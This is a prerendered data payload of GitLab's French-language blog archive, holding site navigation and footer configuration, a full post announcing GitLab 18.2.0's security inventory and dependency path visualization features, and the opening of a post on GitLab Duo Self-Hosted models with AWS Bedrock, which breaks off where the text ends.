[{"data":1,"prerenderedAt":3559},["ShallowReactive",2],{"/fr-fr/blog/archive/":3,"navigation-fr-fr":21,"banner-fr-fr":441,"footer-fr-fr":453,"archivePosts-fr-fr":665},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":13,"_id":15,"_type":16,"title":7,"_source":17,"_file":18,"_stem":19,"_extension":20},"/fr-fr/blog/archive","blog",false,"",{"title":9,"description":10},"GitLab Blog Archives","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.",{"header":12},"Blog Archive",{"template":14},"BlogArchive","content:fr-fr:blog:archive:index.yml","yaml","content","fr-fr/blog/archive/index.yml","fr-fr/blog/archive/index","yml",{"_path":22,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":24,"_id":437,"_type":16,"title":438,"_source":17,"_file":439,"_stem":440,"_extension":20},"/shared/fr-fr/main-navigation","fr-fr",{"logo":25,"freeTrial":30,"sales":35,"login":40,"items":45,"search":378,"minimal":414,"duo":428},{"config":26},{"href":27,"dataGaName":28,"dataGaLocation":29},"/fr-fr/","gitlab logo","header",{"text":31,"config":32},"Commencer un essai gratuit",{"href":33,"dataGaName":34,"dataGaLocation":29},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":36,"config":37},"Contacter l'équipe commerciale",{"href":38,"dataGaName":39,"dataGaLocation":29},"/fr-fr/sales/","sales",{"text":41,"config":42},"Connexion",{"href":43,"dataGaName":44,"dataGaLocation":29},"https://gitlab.com/users/sign_in/","sign in",[46,90,189,194,299,359],{"text":47,"config":48,"cards":50,"footer":73},"Plateforme",{"dataNavLevelOne":49},"platform",[51,57,65],{"title":47,"description":52,"link":53},"La plateforme DevSecOps alimentée par l'IA la plus complète",{"text":54,"config":55},"Découvrir notre plateforme",{"href":56,"dataGaName":49,"dataGaLocation":29},"/fr-fr/platform/",{"title":58,"description":59,"link":60},"GitLab Duo (IA)","Créez des logiciels plus rapidement en tirant parti de l'IA à chaque étape du développement",{"text":61,"config":62},"Découvrez GitLab Duo",{"href":63,"dataGaName":64,"dataGaLocation":29},"/fr-fr/gitlab-duo/","gitlab duo ai",{"title":66,"description":67,"link":68},"Choisir GitLab","10 raisons pour lesquelles les entreprises choisissent GitLab",{"text":69,"config":70},"En savoir plus",{"href":71,"dataGaName":72,"dataGaLocation":29},"/fr-fr/why-gitlab/","why gitlab",{"title":74,"items":75},"Démarrer avec",[76,81,86],{"text":77,"config":78},"Ingénierie de plateforme",{"href":79,"dataGaName":80,"dataGaLocation":29},"/fr-fr/solutions/platform-engineering/","platform engineering",{"text":82,"config":83},"Expérience développeur",{"href":84,"dataGaName":85,"dataGaLocation":29},"/fr-fr/developer-experience/","Developer experience",{"text":87,"config":88},"MLOps",{"href":89,"dataGaName":87,"dataGaLocation":29},"/fr-fr/topics/devops/the-role-of-ai-in-devops/",{"text":91,"left":92,"config":93,"link":95,"lists":99,"footer":171},"Produit",true,{"dataNavLevelOne":94},"solutions",{"text":96,"config":97},"Voir toutes les solutions",{"href":98,"dataGaName":94,"dataGaLocation":29},"/fr-fr/solutions/",[100,126,149],{"title":101,"description":102,"link":103,"items":108},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":104},{"icon":105,"href":106,"dataGaName":107,"dataGaLocation":29},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[109,113,117,122],{"text":110,"config":111},"CI/CD",{"href":112,"dataGaLocation":29,"dataGaName":110},"/fr-fr/solutions/continuous-integration/",{"text":114,"config":115},"Développement assisté par l'IA",{"href":63,"dataGaLocation":29,"dataGaName":116},"AI assisted development",{"text":118,"config":119},"Gestion du code source",{"href":120,"dataGaLocation":29,"dataGaName":121},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":123,"config":124},"Livraison de logiciels automatisée",{"href":106,"dataGaLocation":29,"dataGaName":125},"Automated software delivery",{"title":127,"description":128,"link":129,"items":134},"Securité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":130},{"href":131,"dataGaName":132,"dataGaLocation":29,"icon":133},"/fr-fr/solutions/security-compliance/","security and compliance","ShieldCheckLight",[135,140,145],{"text":136,"config":137},"Application Security Testing",{"href":138,"dataGaName":139,"dataGaLocation":29},"/solutions/application-security-testing/","Application security testing",{"text":141,"config":142},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":143,"dataGaLocation":29,"dataGaName":144},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":146,"config":147},"Software Compliance",{"href":148,"dataGaName":146,"dataGaLocation":29},"/solutions/software-compliance/",{"title":150,"link":151,"items":156},"Mesures",{"config":152},{"icon":153,"href":154,"dataGaName":155,"dataGaLocation":29},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[157,161,166],{"text":158,"config":159},"Visibilité et mesures",{"href":154,"dataGaLocation":29,"dataGaName":160},"Visibility and Measurement",{"text":162,"config":163},"Gestion de la chaîne de valeur",{"href":164,"dataGaLocation":29,"dataGaName":165},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":167,"config":168},"Données d'analyse et informations clés",{"href":169,"dataGaLocation":29,"dataGaName":170},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":172,"items":173},"GitLab pour",[174,179,184],{"text":175,"config":176},"Entreprises",{"href":177,"dataGaLocation":29,"dataGaName":178},"/fr-fr/enterprise/","enterprise",{"text":180,"config":181},"PME",{"href":182,"dataGaLocation":29,"dataGaName":183},"/fr-fr/small-business/","small business",{"text":185,"config":186},"Secteur public",{"href":187,"dataGaLocation":29,"dataGaName":188},"/fr-fr/solutions/public-sector/","public sector",{"text":190,"config":191},"Tarifs",{"href":192,"dataGaName":193,"dataGaLocation":29,"dataNavLevelOne":193},"/fr-fr/pricing/","pricing",{"text":195,"config":196,"link":198,"lists":202,"feature":286},"Ressources",{"dataNavLevelOne":197},"resources",{"text":199,"config":200},"Afficher toutes les ressources",{"href":201,"dataGaName":197,"dataGaLocation":29},"/fr-fr/resources/",[203,236,258],{"title":204,"items":205},"Premiers pas",[206,211,216,221,226,231],{"text":207,"config":208},"Installation",{"href":209,"dataGaName":210,"dataGaLocation":29},"/fr-fr/install/","install",{"text":212,"config":213},"Guides de démarrage rapide",{"href":214,"dataGaName":215,"dataGaLocation":29},"/fr-fr/get-started/","quick setup checklists",{"text":217,"config":218},"Apprentissage",{"href":219,"dataGaLocation":29,"dataGaName":220},"https://university.gitlab.com/","learn",{"text":222,"config":223},"Documentation sur le produit",{"href":224,"dataGaName":225,"dataGaLocation":29},"https://docs.gitlab.com/","product documentation",{"text":227,"config":228},"Vidéos sur les bonnes pratiques",{"href":229,"dataGaName":230,"dataGaLocation":29},"/fr-fr/getting-started-videos/","best practice videos",{"text":232,"config":233},"Intégrations",{"href":234,"dataGaName":235,"dataGaLocation":29},"/fr-fr/integrations/","integrations",{"title":237,"items":238},"Découvrir",[239,244,248,253],{"text":240,"config":241},"Histoires de succès client",{"href":242,"dataGaName":243,"dataGaLocation":29},"/fr-fr/customers/","customer success stories",{"text":245,"config":246},"Blog",{"href":247,"dataGaName":5,"dataGaLocation":29},"/fr-fr/blog/",{"text":249,"config":250},"Travail à distance",{"href":251,"dataGaName":252,"dataGaLocation":29},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":254,"config":255},"TeamOps",{"href":256,"dataGaName":257,"dataGaLocation":29},"/fr-fr/teamops/","teamops",{"title":259,"items":260},"Connecter",[261,266,271,276,281],{"text":262,"config":263},"Services GitLab",{"href":264,"dataGaName":265,"dataGaLocation":29},"/fr-fr/services/","services",{"text":267,"config":268},"Communauté",{"href":269,"dataGaName":270,"dataGaLocation":29},"/community/","community",{"text":272,"config":273},"Forum",{"href":274,"dataGaName":275,"dataGaLocation":29},"https://forum.gitlab.com/","forum",{"text":277,"config":278},"Événements",{"href":279,"dataGaName":280,"dataGaLocation":29},"/events/","events",{"text":282,"config":283},"Partenaires",{"href":284,"dataGaName":285,"dataGaLocation":29},"/fr-fr/partners/","partners",{"backgroundColor":287,"textColor":288,"text":289,"image":290,"link":294},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":291,"config":292},"carte promo The Source",{"src":293},"/images/navigation/the-source-promo-card.svg",{"text":295,"config":296},"Lire les articles les plus récents",{"href":297,"dataGaName":298,"dataGaLocation":29},"/fr-fr/the-source/","the source",{"text":300,"config":301,"lists":303},"Société",{"dataNavLevelOne":302},"company",[304],{"items":305},[306,311,317,319,324,329,334,339,344,349,354],{"text":307,"config":308},"À propos",{"href":309,"dataGaName":310,"dataGaLocation":29},"/fr-fr/company/","about",{"text":312,"config":313,"footerGa":316},"Emplois",{"href":314,"dataGaName":315,"dataGaLocation":29},"/jobs/","jobs",{"dataGaName":315},{"text":277,"config":318},{"href":279,"dataGaName":280,"dataGaLocation":29},{"text":320,"config":321},"Leadership",{"href":322,"dataGaName":323,"dataGaLocation":29},"/company/team/e-group/","leadership",{"text":325,"config":326},"Équipe",{"href":327,"dataGaName":328,"dataGaLocation":29},"/company/team/","team",{"text":330,"config":331},"Manuel",{"href":332,"dataGaName":333,"dataGaLocation":29},"https://handbook.gitlab.com/","handbook",{"text":335,"config":336},"Relations avec les investisseurs",{"href":337,"dataGaName":338,"dataGaLocation":29},"https://ir.gitlab.com/","investor relations",{"text":340,"config":341},"Centre de confiance",{"href":342,"dataGaName":343,"dataGaLocation":29},"/fr-fr/security/","trust center",{"text":345,"config":346},"Centre pour la transparence de l'IA",{"href":347,"dataGaName":348,"dataGaLocation":29},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":350,"config":351},"Newsletter",{"href":352,"dataGaName":353,"dataGaLocation":29},"/company/contact/","newsletter",{"text":355,"config":356},"Presse",{"href":357,"dataGaName":358,"dataGaLocation":29},"/press/","press",{"text":360,"config":361,"lists":362},"Nous contacter",{"dataNavLevelOne":302},[363],{"items":364},[365,368,373],{"text":36,"config":366},{"href":38,"dataGaName":367,"dataGaLocation":29},"talk to sales",{"text":369,"config":370},"Aide",{"href":371,"dataGaName":372,"dataGaLocation":29},"/support/","get help",{"text":374,"config":375},"Portail clients GitLab",{"href":376,"dataGaName":377,"dataGaLocation":29},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":379,"login":380,"suggestions":387},"Fermer",{"text":381,"link":382},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":383,"config":384},"gitlab.com",{"href":43,"dataGaName":385,"dataGaLocation":386},"search login","search",{"text":388,"default":389},"Suggestions",[390,393,398,400,405,410],{"text":58,"config":391},{"href":63,"dataGaName":392,"dataGaLocation":386},"GitLab Duo (AI)",{"text":394,"config":395},"Suggestions de code (IA)",{"href":396,"dataGaName":397,"dataGaLocation":386},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":110,"config":399},{"href":112,"dataGaName":110,"dataGaLocation":386},{"text":401,"config":402},"GitLab sur AWS",{"href":403,"dataGaName":404,"dataGaLocation":386},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":406,"config":407},"GitLab sur Google Cloud ",{"href":408,"dataGaName":409,"dataGaLocation":386},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":411,"config":412},"Pourquoi utiliser GitLab ?",{"href":71,"dataGaName":413,"dataGaLocation":386},"Why GitLab?",{"freeTrial":415,"mobileIcon":420,"desktopIcon":425},{"text":416,"config":417},"Commencer votre essai gratuit",{"href":418,"dataGaName":34,"dataGaLocation":419},"https://gitlab.com/-/trials/new/","nav",{"altText":421,"config":422},"Icône GitLab",{"src":423,"dataGaName":424,"dataGaLocation":419},"/images/brand/gitlab-logo-tanuki.svg","gitlab icon",{"altText":421,"config":426},{"src":427,"dataGaName":424,"dataGaLocation":419},"/images/brand/gitlab-logo-type.svg",{"freeTrial":429,"mobileIcon":433,"desktopIcon":435},{"text":430,"config":431},"En savoir plus sur GitLab Duo",{"href":63,"dataGaName":432,"dataGaLocation":419},"gitlab duo",{"altText":421,"config":434},{"src":423,"dataGaName":424,"dataGaLocation":419},{"altText":421,"config":436},{"src":427,"dataGaName":424,"dataGaLocation":419},"content:shared:fr-fr:main-navigation.yml","Main Navigation","shared/fr-fr/main-navigation.yml","shared/fr-fr/main-navigation",{"_path":442,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"title":443,"titleMobile":443,"button":444,"config":448,"_id":450,"_type":16,"_source":17,"_file":451,"_stem":452,"_extension":20},"/shared/fr-fr/banner","La plateforme GitLab Duo Agent est maintenant en bêta publique !",{"text":69,"config":445},{"href":446,"dataGaName":447,"dataGaLocation":29},"/fr-fr/gitlab-duo/agent-platform/","duo banner",{"layout":449},"release","content:shared:fr-fr:banner.yml","shared/fr-fr/banner.yml","shared/fr-fr/banner",{"_path":454,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":455,"_id":661,"_type":16,"title":662,"_source":17,"_file":663,"_stem":664,"_extension":20},"/shared/fr-fr/main-footer",{"text":456,"source":457,"edit":463,"contribute":468,"config":473,"items":478,"minimal":652},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence",{"text":458,"config":459},"Afficher le code source de la page",{"href":460,"dataGaName":461,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":464,"config":465},"Modifier cette page",{"href":466,"dataGaName":467,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":469,"config":470},"Veuillez contribuer",{"href":471,"dataGaName":472,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":474,"facebook":475,"youtube":476,"linkedin":477},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[479,502,556,589,623],{"title":47,"links":480,"subMenu":485},[481],{"text":482,"config":483},"Plateforme DevSecOps",{"href":56,"dataGaName":484,"dataGaLocation":462},"devsecops platform",[486],{"title":190,"links":487},[488,492,497],{"text":489,"config":490},"Voir les forfaits",{"href":192,"dataGaName":491,"dataGaLocation":462},"view plans",{"text":493,"config":494},"Pourquoi choisir GitLab Premium ?",{"href":495,"dataGaName":496,"dataGaLocation":462},"/fr-fr/pricing/premium/","why premium",{"text":498,"config":499},"Pourquoi choisir GitLab Ultimate ?",{"href":500,"dataGaName":501,"dataGaLocation":462},"/fr-fr/pricing/ultimate/","why ultimate",{"title":503,"links":504},"Solutions",[505,510,513,515,520,525,529,532,535,540,542,544,546,551],{"text":506,"config":507},"Transformation digitale",{"href":508,"dataGaName":509,"dataGaLocation":462},"/fr-fr/topics/digital-transformation/","digital transformation",{"text":511,"config":512},"Sécurité et conformité",{"href":138,"dataGaName":139,"dataGaLocation":462},{"text":123,"config":514},{"href":106,"dataGaName":107,"dataGaLocation":462},{"text":516,"config":517},"Développement agile",{"href":518,"dataGaName":519,"dataGaLocation":462},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":521,"config":522},"Transformation cloud",{"href":523,"dataGaName":524,"dataGaLocation":462},"/fr-fr/topics/cloud-native/","cloud transformation",{"text":526,"config":527},"SCM",{"href":120,"dataGaName":528,"dataGaLocation":462},"source code management",{"text":110,"config":530},{"href":112,"dataGaName":531,"dataGaLocation":462},"continuous integration & delivery",{"text":162,"config":533},{"href":164,"dataGaName":534,"dataGaLocation":462},"value stream management",{"text":536,"config":537},"GitOps",{"href":538,"dataGaName":539,"dataGaLocation":462},"/fr-fr/solutions/gitops/","gitops",{"text":175,"config":541},{"href":177,"dataGaName":178,"dataGaLocation":462},{"text":180,"config":543},{"href":182,"dataGaName":183,"dataGaLocation":462},{"text":185,"config":545},{"href":187,"dataGaName":188,"dataGaLocation":462},{"text":547,"config":548},"Formation",{"href":549,"dataGaName":550,"dataGaLocation":462},"/fr-fr/solutions/education/","education",{"text":552,"config":553},"Services financiers",{"href":554,"dataGaName":555,"dataGaLocation":462},"/fr-fr/solutions/finance/","financial services",{"title":195,"links":557},[558,560,562,564,567,569,573,575,577,579,581,583,585,587],{"text":207,"config":559},{"href":209,"dataGaName":210,"dataGaLocation":462},{"text":212,"config":561},{"href":214,"dataGaName":215,"dataGaLocation":462},{"text":217,"config":563},{"href":219,"dataGaName":220,"dataGaLocation":462},{"text":222,"config":565},{"href":224,"dataGaName":566,"dataGaLocation":462},"docs",{"text":245,"config":568},{"href":247,"dataGaName":5},{"text":570,"config":571},"Histoires de réussite client",{"href":572,"dataGaLocation":462},"/customers/",{"text":240,"config":574},{"href":242,"dataGaName":243,"dataGaLocation":462},{"text":249,"config":576},{"href":251,"dataGaName":252,"dataGaLocation":462},{"text":262,"config":578},{"href":264,"dataGaName":265,"dataGaLocation":462},{"text":254,"config":580},{"href":256,"dataGaName":257,"dataGaLocation":462},{"text":267,"config":582},{"href":269,"dataGaName":270,"dataGaLocation":462},{"text":272,"config":584},{"href":274,"dataGaName":275,"dataGaLocation":462},{"text":277,"config":586},{"href":279,"dataGaName":280,"dataGaLocation":462},{"text":282,"config":588},{"href":284,"dataGaName":285,"dataGaLocation":462},{"title":300,"links":590},[591,593,595,597,599,601,603,607,612,614,616,618],{"text":307,"config":592},{"href":309,"dataGaName":302,"dataGaLocation":462},{"text":312,"config":594},{"href":314,"dataGaName":315,"dataGaLocation":462},{"text":320,"config":596},{"href":322,"dataGaName":323,"dataGaLocation":462},{"text":325,"config":598},{"href":327,"dataGaName":328,"dataGaLocation":462},{"text":330,"config":600},{"href":332,"dataGaName":333,"dataGaLocation":462},{"text":335,"config":602},{"href":337,"dataGaName":338,"dataGaLocation":462},{"text":604,"config":605},"Sustainability",{"href":606,"dataGaName":604,"dataGaLocation":462},"/sustainability/",{"text":608,"config":609},"Diversité, inclusion et appartenance (DIB)",{"href":610,"dataGaName":611,"dataGaLocation":462},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":340,"config":613},{"href":342,"dataGaName":343,"dataGaLocation":462},{"text":350,"config":615},{"href":352,"dataGaName":353,"dataGaLocation":462},{"text":355,"config":617},{"href":357,"dataGaName":358,"dataGaLocation":462},{"text":619,"config":620},"Déclaration de transparence sur l'esclavage moderne",{"href":621,"dataGaName":622,"dataGaLocation":462},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":360,"links":624},[625,628,630,632,637,642,647],{"text":626,"config":627},"Échanger avec un expert",{"href":38,"dataGaName":39,"dataGaLocation":462},{"text":369,"config":629},{"href":371,"dataGaName":372,"dataGaLocation":462},{"text":374,"config":631},{"href":376,"dataGaName":377,"dataGaLocation":462},{"text":633,"config":634},"Statut",{"href":635,"dataGaName":636,"dataGaLocation":462},"https://status.gitlab.com/","status",{"text":638,"config":639},"Conditions d'utilisation",{"href":640,"dataGaName":641},"/terms/","terms of use",{"text":643,"config":644},"Déclaration de confidentialité",{"href":645,"dataGaName":646,"dataGaLocation":462},"/fr-fr/privacy/","privacy statement",{"text":648,"config":649},"Préférences en matière de cookies",{"dataGaName":650,"dataGaLocation":462,"id":651,"isOneTrustButton":92},"cookie preferences","ot-sdk-btn",{"items":653},[654,656,659],{"text":638,"config":655},{"href":640,"dataGaName":641,"dataGaLocation":462},{"text":657,"config":658},"Politique de confidentialité",{"href":645,"dataGaName":646,"dataGaLocation":462},{"text":648,"config":660},{"dataGaName":650,"dataGaLocation":462,"id":651,"isOneTrustButton":92},"content:shared:fr-fr:main-footer.yml","Main Footer","shared/fr-fr/main-footer.yml","shared/fr-fr/main-footer",[666,689,714,731,751,771,791,811,834,860,881,900,920,941,960,979,998,1016,1033,1054,1076,1096,1118,1137,1157,1181,1202,1222,1242,1264,1285,1305,1326,1346,1365,1387,1407,1427,1447,1467,1490,1510,1531,1552,1572,1591,1611,1633,1654,1674,1696,1715,1734,1753,1774,1794,1817,1838,1857,1876,1896,1916,1937,1959,1979,2000,2020,2039,2058,2078,2097,2117,2137,2158,2177,2197,2216,2235,2254,2274,2295,2316,2337,2356,2376,2399,2421,2441,2461,2482,2501,2524,2543,2561,2580,2602,2622,2643,2664,2688,2708,2726,2747,2767,2788,2808,2826,2847,2869,2891,2910,2928,2947,2967,2987,3007,3027,3048,3067,3088,3108,3127,3148,3167,3187,3210,3231,3251,3271,3293,3313,3334,3353,3373,3394,3413,3433,3453,3474,3498,3519,3540],{"_path":667,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":668,"content":672,"config":682,"_id":685,"_type":16,"title":686,"_source":17,"_file":687,"_stem":688,"_extension":20},"/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"config":669,"title":670,"description":671},{"noIndex":6},"Réconcilier visibilité et sécurité dans la chaîne logicielle","Découvrez comment tirer parti de GitLab 18.2.0 pour une couverture d'analyse de sécurité complète alliée à une visualisation claire des dépendances transitives.",{"category":673,"tags":674,"date":677,"title":670,"heroImage":678,"description":671,"authors":679,"body":681},"security",[673,675,676],"features","product","2025-08-18","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg",[680],"Salman Ladha","La dernière version de GitLab ([GitLab 18.2.0](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)) comprend deux nouvelles fonctionnalités majeures pour renforcer la sécurité de votre chaîne d'approvisionnement logicielle : l'inventaire de sécurité et la visualisation des chemins de dépendances.\n\nAvec l'inventaire de sécurité, les équipes de sécurité applicative ont une vue unifiée des risques et de la couverture des scans à l'échelle des groupes et projets GitLab. Elles bénéficient ainsi d'une meilleure visibilité pour identifier les zones non couvertes et prioriser les mesures correctives. La visualisation des chemins de dépendances, quant à elle, offre une vue détaillée du chemin par lequel les vulnérabilités open source sont introduites via la chaîne de dépendances. Ainsi, il devient plus facile d'identifier la correction la plus efficace.\n\nGrâce à ces deux fonctionnalités, les équipes de sécurité et de développement sont en mesure de renforcer la sécurité de leurs applications, puisqu'elles disposent d'une visibilité accrue sur les risques, d'un contexte clair pour choisir les mesures correctives à appliquer et de workflows intégrés qui favorisent la collaboration. Contrairement à d'autres solutions, tout est centralisé sur la plateforme que les développeurs utilisent déjà pour écrire, réviser et déployer leur code. Cette approche intégrée élimine le besoin d'intégrations complexes et offre une expérience DevSecOps fluide et unifiée.\n\n## L'open source : une surface d'attaque plus exposée\n\nLes applications modernes s'appuient [massivement](https://about.gitlab.com/fr-fr/developer-survey/) sur des logiciels open source. Or, cette dépendance n'est pas sans risque : certains composants peuvent être obsolètes, souffrir d'un manque de maintenance ou exposer des vulnérabilités à l'insu des développeurs. C'est pourquoi l'analyse de la composition logicielle (SCA) s'impose comme la pierre angulaire des programmes de sécurité des applications modernes.\n\nLa gestion efficace du *risque de dépendance transitive* représente un défi de taille pour les équipes chargées de détecter les vulnérabilités. Ces composants, souvent cachés au plus profond de la chaîne de dépendances, compliquent l'identification de l'origine d'une vulnérabilité ou du composant à mettre à jour pour y remédier. Pire encore, ils sont responsables de près de [deux tiers](https://arxiv.org/abs/2503.22134?) des vulnérabilités open source connues. Faute de visibilité complète sur les chemins de dépendances, les équipes doivent se contenter d'hypothèses, ce qui retarde l'application de mesures correctives et accroît les risques.\n\n> Les dépendances transitives, c'est-à-dire les paquets que votre application utilise indirectement, sont automatiquement intégrées par les dépendances directes que vous incluez explicitement. Ces dépendances imbriquées peuvent introduire des vulnérabilités sans que le développeur n'en ait conscience.\n\nCe défi prend une tout autre dimension à grande échelle. Lorsqu'une équipe de sécurité doit superviser des centaines, voire des milliers, de dépôts, chacun avec ses propres dépendances, pipelines de compilation et propriétaires, il devient extrêmement difficile de répondre aux questions fondamentales sur la posture de sécurité applicative. Dans un contexte où les menaces qui pèsent sur la chaîne d'approvisionnement logicielle se multiplient, et où les vulnérabilités peuvent se propager à travers les systèmes par le biais de bibliothèques partagées et de configurations CI/CD, ce manque de visibilité a des conséquences encore plus importantes.\n\n## Inventaire de sécurité : une visibilité évolutive\n\nL'inventaire de sécurité regroupe les informations sur les risques de l'ensemble de vos groupes et projets dans une vue unifiée. Il met en évidence les ressources couvertes par des scans de sécurité, ainsi que celles qui y échappent. Plutôt que de traiter les vulnérabilités de manière isolée, les équipes de sécurité peuvent évaluer la posture de manière globale et identifier les domaines sur lesquels concentrer leurs efforts.\n\nCe niveau de centralisation s'avère particulièrement important pour les entreprises qui gèrent un grand nombre de dépôts. Il permet aux équipes chargées de la plateforme et de la sécurité applicative de localiser précisément les risques en révélant les projets non analysés ou insuffisamment protégés, tout en ouvrant la voie à des actions directes depuis l'interface. Grâce à un contexte complet, les équipes identifient rapidement les applications les plus exposées pour les traiter efficacement. En consolidant des données jusque-là dispersées en une source unique de vérité, l'inventaire de sécurité transforme la gestion des vulnérabilités d'une posture réactive à une gouvernance stratégique guidée par les données.\n![Affichage de l'inventaire de sécurité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\n\n## Visualisation des chemins de dépendances : la visibilité pour une remédiation efficace\n\nL'inventaire de sécurité offre une vision globale des risques ; la visualisation des chemins de dépendances montre comment y remédier.\n\nLorsqu'une vulnérabilité est située au plus profond d'une chaîne de dépendances, déterminer la bonne approche pour la corriger devient un véritable casse-tête. La plupart des outils de sécurité mettent en évidence le paquet vulnérable, mais sans indiquer par quel biais il s'est introduit dans le code source. Les équipes de développement se retrouvent à tâtonner entre dépendances directes et transitives, ce qui complique l'analyse et risque d'aboutir à des correctifs inadaptés.\n\nLa nouvelle visualisation des chemins de dépendances intégrée à la version 18.2.0 de GitLab, parfois appelée graphique de dépendances, dévoile à l'issue d'un scan SCA le parcours complet depuis un paquet principal jusqu'au composant vulnérable. Cette visibilité est essentielle, en particulier compte tenu de l'omniprésence des vulnérabilités profondément ancrées dans les chaînes de dépendances. Directement intégrée aux workflows GitLab, cette fonctionnalité fournit aux équipes de développement des informations précises et immédiatement exploitables, sans que ces dernières doivent quitter leur environnement de travail ni émettre des hypothèses. Les équipes de sécurité peuvent hiérarchiser plus efficacement les problèmes, tandis que les développeurs ont l'assurance que les remédiations ciblent enfin les causes profondes.\n![Aperçu de la visualisation des chemins de dépendances](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n\n## La sécurité intégrée au développement : des risques maîtrisés en amont\n\nCes fonctionnalités s'inscrivent dans la stratégie globale de GitLab qui vise à intégrer la sécurité au sein même de la plateforme où le code est planifié, compilé et déployé. En intégrant les informations de sécurité au cœur du workflow DevSecOps, GitLab réduit les points de friction et renforce la collaboration entre les équipes de développement et de sécurité.\n\nL'inventaire de sécurité et la visualisation des chemins de dépendances offrent des perspectives complémentaires : le premier permet une surveillance évolutive, la seconde facilite des mesures de correction ciblées. Ces deux fonctionnalités combinées aident les équipes à concentrer leurs efforts sur les priorités réelles et à combler les lacunes lors de l'analyse des risques, sans complexifier l'environnement avec des outils ou intégrations supplémentaires.\n\n> Prenez en main l'inventaire de sécurité et la visualisation des chemins de dépendances dès aujourd'hui ! Inscrivez-vous à un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n\n## En savoir plus\n\n* [Sortie de GitLab 18.2.0](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)\n* [Solutions de sécurité GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n* [Guide pratique sur les vecteurs de menaces dans la chaîne d'approvisionnement logicielle](https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",{"featured":6,"template":683,"slug":684},"BlogPost","bridging-the-visibility-gap-in-software-supply-chain-security","content:fr-fr:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain Security","fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":690,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":691,"content":696,"config":708,"_id":710,"_type":16,"title":711,"_source":17,"_file":712,"_stem":713,"_extension":20},"/fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock",{"config":692,"title":693,"ogTitle":693,"description":694,"ogDescription":694,"ogImage":695},{"noIndex":6},"Utilisez les modèles GitLab Duo Self-Hosted avec AWS Bedrock","Exploitez l'IA tout en gardant le contrôle de vos données, de votre infrastructure et de votre posture de sécurité.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098682/Blog/Hero%20Images/Blog/Hero%20Images/duo-blog-post_1Cy89R1pY8OMwyrgSB525O_1750098682075.png",{"category":697,"tags":698,"date":701,"heroImage":695,"authors":702,"title":705,"description":706,"body":707},"ai-ml",[699,700],"AI/ML","AWS","2025-08-14",[703,704],"Chloe Cartron","Olivier Dupré","Maîtrisez votre IA : utilisez les modèles GitLab Duo Self-Hosted avec AWS Bedrock","Découvrez comment exploiter l'IA tout en gardant le contrôle de vos données, de votre infrastructure et de votre posture de sécurité.","Alors que les entreprises adoptent les capacités d'IA pour accélérer leur\ncycle de développement logiciel, elles font souvent face à un défi critique\n: exploiter l'IA tout en conservant le contrôle de leurs données, de leur\ninfrastructure et de leur posture de sécurité. C'est là que GitLab Duo\nSelf-Hosted entre en jeu.\n\n\nDans cet article, nous allons parcourir l'implémentation des modèles [GitLab Duo Self-Hosted](https://about.gitlab.com/fr-fr/gitlab-duo/ \"Qu'est-ce que GitLab Duo 